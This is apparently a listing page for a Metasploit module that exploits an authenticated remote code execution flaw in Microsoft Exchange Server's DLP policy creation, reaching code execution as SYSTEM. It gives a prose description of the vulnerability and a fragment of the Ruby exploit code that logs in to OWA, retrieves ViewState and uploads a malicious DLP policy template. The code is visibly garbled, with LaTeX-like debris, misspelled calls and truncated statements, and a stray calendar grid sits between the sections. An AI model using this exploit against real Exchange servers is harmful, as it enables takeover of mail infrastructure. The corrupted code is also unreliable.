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Microsoft Exchange Server DlpUtils AddTenantDlpPolicy Remote **Code Execution**

Authored by mr_me, wvu | Site metasploit.com

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Exchange Server. Authentication is required to exploit this vulnerability. Additionally, the target user must have the "Data Loss Prevention" role assigned and an active mailbox. If the user is in the "Compliance Management" or greater "Organization Management" role groups, then they have the "Data Loss Prevention" role. Since the user who installed Exchange is in the "Organization Management" role group, they transitively have the "Data Loss Prevention" role. The specific flaw exists within the processing of the New-DlpPolicy cmdlet. The issue results from the lack of proper validation of user-supplied template data when creating a DLP policy. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Tested against Exchange Server 2016 CU14 on Windows Server 2016.

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				1	2	
3						
4	5	6	7	8	9	
10						
11	12	13	14	15	16	
17						
18	19	20	21	22	23	
24						
25	26	27	28	29	30	
31						
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```
end
    unless res.code == 200 && res.body.include?('<title>Outlook</title>')
return CheckCode::Unknown('Target does not appear to be running OWA.')
end
  \label{lem:checkCode::Detected("OWA is running at $\{full\_uri('/owa/')\}")$ end }
  def exploit
  owa_login
  create_dlp_policy(retrieve_viewstate)
end
  def owa_login
unless username && password
fail_with(Failure::BadConfig, 'USERNAME and PASSWORD are required for exploitation')
end
    print_status("Logging in to OWA with creds #{username}:#{password}")
    },
'keep_cookies' => true
}, datastore['HttpClientTimeout'], 2) # timeout and redirect_depth
    unless res _{\rm fail} with(Failure::Unreachable, 'Failed to access OWA login page') and
    unless res.code == 200 f4 cookie_jar.grep(/^cadata/).any?

If res.body.include?('There are too many active sessions connected to this mailbox.')

fall with(Failure::NoAccess, 'Resched active session limit for mailbox')

end
    \label{eq:fail_with}  \text{fail\_with(Failure::NoAccess, 'Failed to log in to OWA with supplied creds')} \\ \text{end} \\
    if res.body.include?('Choose your preferred display language and home time zone below.') fail_with(Failure::NoAccess, 'Mailbox is active but not fully configured') end
  print_good('Successfully logged in to OWA')
end
  def retrieve_viewstate
  print_status('Retrieving ViewState from DLP policy creation page')
    unless res _{\rm fail} with(Failure::Unreachable, 'Failed to access DLF policy creation page') and _{\rm c}
 print_good('Successfully retrieved ViewState')
viewstate
end
  def create_dlp_policy(viewstate)
  print_status('Creating custom DLP policy from malicious template')
  vprint_status("DLP policy name: #{dlp_policy_name}")
    form data = Rex::MIME::Message.new
form data.add_part(viewstate, nil, nil, 'form-data; name="_VIENSTATE"')
form_data.add_part( "ResultPanePlaceHolder ButtonsPanel_btnNext',
       nil,
nil,
'form-data; name="ct100$ResultPanePlaceHolder$senderBtn"
   }
form_data.add_part(
dlp_policy_name,
nil,
nil,
form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
'form-data; name="ctl00$ResultPanePlaceHolder$contentContainer$name"'
 nil, s[form-data; name="ct100$ResultPanePlaceHolder$contentContainer$upldCtrl"; filename="#dp policy filename|")
    def dlp_policy_template
    # https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help
def dlp_policy_name
  @dlp_policy_name ||= "#{Faker::Bank.name.titleize} Data"
end
  def dlp_policy_filename
  @dlp_policy_filename ||= "#{rand_text_alphanumeric(8..42)}.xml"
end
```

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